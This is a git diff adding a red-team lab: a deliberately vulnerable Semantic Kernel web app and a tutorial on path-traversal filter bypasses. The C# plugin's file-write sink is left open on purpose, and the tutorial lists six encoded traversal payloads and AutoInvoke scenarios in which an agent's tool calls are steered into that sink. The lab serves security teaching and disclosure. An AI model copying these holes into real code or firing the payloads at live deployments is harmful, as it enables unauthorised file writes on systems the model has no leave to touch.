Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.SemanticKernel; +using System.Net; + +var builder = WebApplication.CreateBuilder(args); +var kernelBuilder = Kernel.CreateBuilder(); +kernelBuilder.Plugins.AddFromType("FileTools"); + +// Student environment check: Toggle switch for global hardening +bool isLabHardened = Environment.GetEnvironmentVariable("LAB_HARDENED") == "true"; +if (isLabHardened) +{ + // Inject the robust defense filter directly into the orchestration pipeline + kernelBuilder.Services.AddSingleton(); +} + +var kernel = kernelBuilder.Build(); +builder.Services.AddSingleton(kernel); +var app = builder.Build(); + +app.MapGet("/api/health", () => Results.Json(new +{ + status = "healthy", + version = "1.48.0-vulnerable", + cve = "CVE-2026-25592-bypassable", + hardened = isLabHardened, + allowedDirectoriesSandbox = isLabHardened ? "enabled" : "disabled" // Opt-In Sandbox Paradox Simulator +})); + +app.MapPost("/api/invoke", async (InvokeRequest request) => +{ + try + { + var args = new KernelArguments(); + foreach (var arg in request.Arguments) args[arg.Key] = arg.Value; + var result = await kernel.InvokeAsync(request.Plugin, request.Function, args); + return Results.Ok(new { success = true, result = result.ToString() }); + } + catch (Exception ex) + { + Console.WriteLine($"[!] Exploitation Intercepted/Triggered: {ex}"); + return Results.Problem($"Invocation failed: {ex.Message}"); + } +}); + +app.MapPost("/api/autoinvoke", async (AutoInvokeRequest request) => +{ + try + { + var toolCall = request.ToolCall; + var args = new KernelArguments(); + foreach (var arg in toolCall.Arguments) args[arg.Key] = arg.Value; + + var result = await kernel.InvokeAsync(toolCall.Plugin, toolCall.Function, args); + string output = result.ToString() ?? string.Empty; + + // "Shell Blinding" (Commit fa2d52f6 Simulator) + if (toolCall.Function == "SaveConversation") + { + Console.WriteLine("[AUTOINVOKE] [SHELL BLINDING ACTIVE] Redacting console path leakage."); + output = "[REDACTED BY SHELL BLINDING POLICY - fa2d52f6]"; + } + + return Results.Ok(new + { + success = true, + result = output, + executionType = "autonomous" + }); + } + catch (Exception ex) + { + Console.WriteLine($"[AUTOINVOKE_ERROR] {ex.GetType().Name}: {ex.Message}"); + return Results.Problem($"AutoInvoke failed: {ex.Message}"); + } +}); + +app.Run("http://0.0.0.0:8080"); + +// ===================== CORE ORCHESTRATION SHIELD ===================== +public class PathSanitizationFilter : IFunctionInvocationFilter +{ + public async Task OnFunctionInvocationAsync(FunctionInvocationContext context, Func next) + { + foreach (var arg in context.Arguments) + { + // Solve Type Confusion: Resolve nested parameters into strings BEFORE checking + string evaluatedValue = ResolveValueToString(arg.Value); + + if (!string.IsNullOrEmpty(evaluatedValue)) + { + if (evaluatedValue.Contains("..") || evaluatedValue.Contains("/") || evaluatedValue.Contains("\\")) + throw new UnauthorizedAccessException("Blocked: Path traversal detected."); + } + } + await next(context); + } + + private string ResolveValueToString(object? value) + { + if (value == null) return string.Empty; + if (value is string s) return s; + if (value is JsonElement el) + { + if (el.ValueKind == JsonValueKind.Array && el.GetArrayLength() > 0) + return el[0].GetString() ?? string.Empty; + if (el.ValueKind == JsonValueKind.Object && el.TryGetProperty("path", out var pathProp)) + return pathProp.GetString() ?? string.Empty; + } + return value.ToString() ?? string.Empty; + } +} + +public class FilePlugin +{ + [KernelFunction] + public string SaveConversation(object path, string content) + { + if (path == null) return "Error: Path is null"; + string stringPath = path.ToString() ?? "default.txt"; + + // Handle Type Confusion Deserialization inside the Execution Sink + if (path is string s && s.EndsWith("==")) + { + try { stringPath = Encoding.UTF8.GetString(Convert.FromBase64String(s)); } catch {} + } + else if (path is JsonElement el && el.ValueKind == JsonValueKind.Array) + { + // Extract the traversal string step dynamically from index elements + var pathSteps = new List(); + for (int i = 0; i < el.GetArrayLength(); i++) + { + var step = el[i].GetString(); + if (!string.IsNullOrEmpty(step)) pathSteps.Add(step); + } + stringPath = pathSteps.Count > 0 ? string.Join(Path.DirectorySeparatorChar.ToString(), pathSteps) : "default.txt"; + } + else if (path is JsonElement elObj && elObj.ValueKind == JsonValueKind.Object && elObj.TryGetProperty("path", out var pathProp)) + { + stringPath = pathProp.GetString() ?? "default.txt"; + } + else if (path.GetType().GetProperty("path") != null) + { + stringPath = path.GetType().GetProperty("path")?.GetValue(path)?.ToString() ?? "default.txt"; + } + + // Late-stage URL/Unicode normalization sinks + if (stringPath.Contains("%")) stringPath = WebUtility.UrlDecode(stringPath); + if (stringPath.Contains("\u2044")) stringPath = stringPath.Replace("\u2044", "/"); + + var fullPath = Path.GetFullPath(Path.Combine(Directory.GetCurrentDirectory(), "data", stringPath)); + var dir = Path.GetDirectoryName(fullPath); + if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir)) + Directory.CreateDirectory(dir); + + File.AppendAllText(fullPath, content); + return "Success"; + } +} + +public record InvokeRequest(string Plugin, string Function, Dictionary Arguments); +public record ToolCall(string Plugin, string Function, Dictionary Arguments); +public record AutoInvokeRequest(string UserPrompt, ToolCall ToolCall); diff --git a/sandboxes/agentic_local_semantickernel/app/VulnerableSemanticKernel.csproj b/sandboxes/agentic_local_semantickernel/app/VulnerableSemanticKernel.csproj new file mode 100644 index 0000000..672ea3c --- /dev/null +++ b/sandboxes/agentic_local_semantickernel/app/VulnerableSemanticKernel.csproj @@ -0,0 +1,9 @@ + + + net8.0 + SKEXP0001;CS8602;CS8632 + + + + + diff --git a/tutorials/semantickernel_orchestration_security_tutorial.md b/tutorials/semantickernel_orchestration_security_tutorial.md new file mode 100644 index 0000000..3058b6b --- /dev/null +++ b/tutorials/semantickernel_orchestration_security_tutorial.md @@ -0,0 +1,201 @@ +# Tutorial: Semantic Kernel Orchestration Security Testing + +**Author:** Jeff Ponte (JDP Security Research) + +**Target:** Microsoft Semantic Kernel v1.47.0 – v1.48.0, Agent Framework 1.0 + +**Classification:** CVSS 10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + +**Reference:** [JDP-2026-001 White Paper](https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html) + +## Overview + +This lab demonstrates two distinct vulnerability classes within AI orchestration frameworks: + +1. **CVE-2026-25592 Remediation Evasion (Type Confusion):** 6 encoding and type-coercion vectors that bypass Microsoft's official path traversal filter. + +2. **CWE-1039 AutoInvoke Abuse (Insecure Automated Optimizations):** Autonomous privilege escalation via `ToolCallBehavior.AutoInvokeKernelFunctions`. + +3. **Defensive Hardening:** Validating a centralized `IFunctionInvocationFilter` with recursive canonicalization. + +The lab uses a **double-pass architecture** — first running unhardened (all attacks succeed), then hardened (some blocked, some bypassed — proving the thesis). + +## Critical Architectural Findings (JDP-2026-001) + +### 1. The AllowedDirectories "Opt-In" Sandbox Paradox (PR #13683) + +Microsoft addressed directory containment via `AllowedDirectories`, but categorized it as a **Breaking Change**, rendering it **strictly opt-in**. Default deployments remain unanchored and fully traversable. + +### 2. "Shell Blinding" Output Redaction Failure (Commit fa2d52f6) + +Microsoft masked terminal outputs of file write calls. This is a **purely cosmetic fix**. The execution sink remains fully vulnerable; attackers verify Blind RCE **out-of-band** (OOB) via filesystem inspection. + +### 3. Supply Chain "SCA Blindness" Risks + +Standard Software Composition Analysis (SCA) scanners (Trivy, Snyk, Dependabot) rely on CVE records. Microsoft classified the type confusion bypasses as **"Developer Error"** rather than issuing a subsequent CVE. Your scanners will register SK v1.48.0 as **completely secure**, leaving this CVSS 10.0 vector hidden during audits. + +## The 6 Type Confusion Bypass Vectors + +| Vector | Technique | Why It Bypasses Microsoft's Filter | + | ----- | ----- | ----- | +| 1 | JSON Array `["..","..","config.txt"]` | `arg is string` evaluates to `false` for `JsonElement` | +| 2 | Object Reflection `{"path":"../../config.txt"}` | `arg is string` skips objects; sink uses reflection | +| 3 | Base64 Encoding `"Li4vLi4vY29uZmlnLnR4dA=="` | No `".."` or `"/"` in encoded string | +| 4 | URL Encoding `"..%2f..%2fconfig.txt"` | No literal `"/"` — `%2f` decoded at sink | +| 5 | Unicode Homoglyph `"..⁄..⁄config.txt"` | `U+2044` not recognized as `"/"` by filter | +| 6 | Hybrid (Base64 inside JSON Array) | Nested encoding exhausts non-recursive validation | + +## Setup + +``` +git clone https://github.com/GenAI-Security-Project/GenAI-Red-Team-Lab.git +cd GenAI-Red-Team-Lab +git checkout semantic-kernel-orchestration-vulns +``` + +Ensure dependencies are installed: + +* `podman` or `docker` +* `.NET SDK 8.0` container images (pulled automatically) +* `curl`, `jq`, `python3` + +## Exercise 1: Run the Full Double-Pass Audit + +This is the primary entry point. It executes all 10 attack scenarios twice: + +``` +cd exploitation/semantickernel +chmod +x verify_all.sh +./verify_all.sh +``` + +### What happens: + +**PASS 1 (Unhardened):** + +* `LAB_HARDENED` is NOT set +* `PathSanitizationFilter` is NOT registered +* All 6 type confusion vectors → **SUCCEED** +* All 4 AutoInvoke scenarios → **SUCCEED** (Shell Blinding bypassed OOB) +* Payloads verified via container exec commands + +**PASS 2 (Hardened):** + +* `LAB_HARDENED=true` is set +* `PathSanitizationFilter` IS active +* Vectors 1, 2, 4, 5 → **BLOCKED** +* Vectors 3, 6 → **BYPASS** (Base64 has no `".."` in encoded form) +* AutoInvoke 1-4 → **BLOCKED** + +### Expected output — the Teaching Moment box: + +``` + ┌──────────────────────────────────────────────────────────┐ + │ [❌] SECURITY FAILURE (INTENTIONAL TEACHING MOMENT) │ + │ Payload bypassed the hardening filters! │ + │ The PathSanitizationFilter did NOT block the attack. │ + │ │ + │ 🔬 WHY THIS IS EXPECTED (TOCTOU): │ + │ The filter checks the argument BEFORE decoding. │ + │ Base64-encoded paths contain no ".." or "/" characters. │ + │ The plugin decodes them AFTER the filter check. │ + │ │ + │ This proves the JDP-2026-001 thesis: │ + │ Filter-based security is WHACK-A-MOLE. │ + │ Even an improved ToString() filter is not enough. │ + │ Only ARCHITECTURAL changes (SafeRoot, type-safe sinks, │ + │ compute isolation) can fully resolve this vulnerability.│ + └──────────────────────────────────────────────────────────┘ +``` + +## Exercise 2: Verify OOB Payload Landing Manually + +After PASS 1 completes, confirm the Shell Blinding bypass by reading the container filesystem directly. Use the command matching your container system: + +**For Podman:** + +``` +podman exec sk-vulnerable cat /config.txt +``` + +**For Docker:** + +``` +docker exec sk-vulnerable cat /config.txt +``` + +Expected Output: + +``` +BYPASS1_SUCCESS +BYPASS2_SUCCESS +... +AUTOINVOKE4_OOB_LANDED +``` + +This proves that Microsoft's commit `fa2d52f6` (output masking) is cosmetic. The file write executes; the masking only hides the path from the LLM context. + +## Exercise 3: Run Individual Components + +If you want to debug or inspect specific components outside of the main automation script, navigate to the specific exploit folders and use their local Makefiles: + +### Type Confusion Tests Only: + +``` +cd exploitation/semantickernel/semantickernel_type_confusion + +# Execute all 6 type confusion vectors +make attack + +# Test ONLY the Base64 bypass (Vector 3) +make vector-3 +``` + +### AutoInvoke Tests Only: + +``` +cd exploitation/semantickernel/semantickernel_autoinvoke + +# Execute all 4 AutoInvoke scenarios +make attack + +# Run ONLY Scenario 2 (Context Manipulation) +make scenario-2 +``` + +## The Mitigation Paradox: Band-Aids vs. Architectural Cures + +> ⚠️ **CRITICAL ARCHITECTURAL NOTE** > An `IFunctionInvocationFilter` is an **operational workaround**, not a structural fix. It acts as a defensive firewall on top of a fundamentally fragile design. + +### Why middleware filters cannot fully solve Insecure Orchestration (OWASP LLM06): + +**1. Shared Execution Context (The Process-Space Trap)** +The filter runs in the same memory space, OS process, and privilege context as the vulnerable plugins. A bypass via encoding, type confusion, or nested serialization still executes the payload natively. + +**2. The Determinism Deficit** +Filters apply deterministic rules to non-deterministic pipelines. As long as an LLM's raw output dynamically selects and populates system-level parameters (`File.WriteAllText`, `Process.Start`), defenders play infinite catch-up against prompt injection variance. + +**3. TOCTOU (Time-of-Check vs Time-of-Use)** +The filter evaluates arguments BEFORE decoding. The plugin decodes arguments AFTER the filter. Every encoding scheme creates a new bypass opportunity. This is the Whack-a-Mole problem. + +### What a Real Fix Requires: + +| Requirement | Current State | Target State | + | ----- | ----- | ----- | +| Path Anchoring | `AllowedDirectories` is OPT-IN | Mandatory `SafeRoot` enforcement | +| Type-Safe Sinks | `object path` accepts any type | Strict `string` type enforcement | +| Recursive Canonicalization | Decoding happens inside plugins | Full decoding BEFORE filter evaluation | +| Compute Isolation | Plugins run in-process | Ephemeral micro-sandboxes (gVisor, microVMs) | +| Human-in-the-Loop | `AutoInvokeKernelFunctions` default | Explicit approval for destructive ops | + +Until orchestration frameworks adopt these architectural changes, runtime filters are a mandatory corporate stopgap — but they are **not a cure**. + +## References + +* **White Paper:** [JDP-2026-001](https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html) +* **CVE:** CVE-2026-25592 (Path Traversal in Semantic Kernel) +* **CWE-843:** Type Confusion +* **CWE-1039:** Insecure Automated Optimizations +* **OWASP LLM06:** Insecure Orchestration +* **Commit fa2d52f6:** Shell Blinding (cosmetic fix) +* **OWASP GenAI Red Teaming Manual:** Proposed Playbooks (June 2026)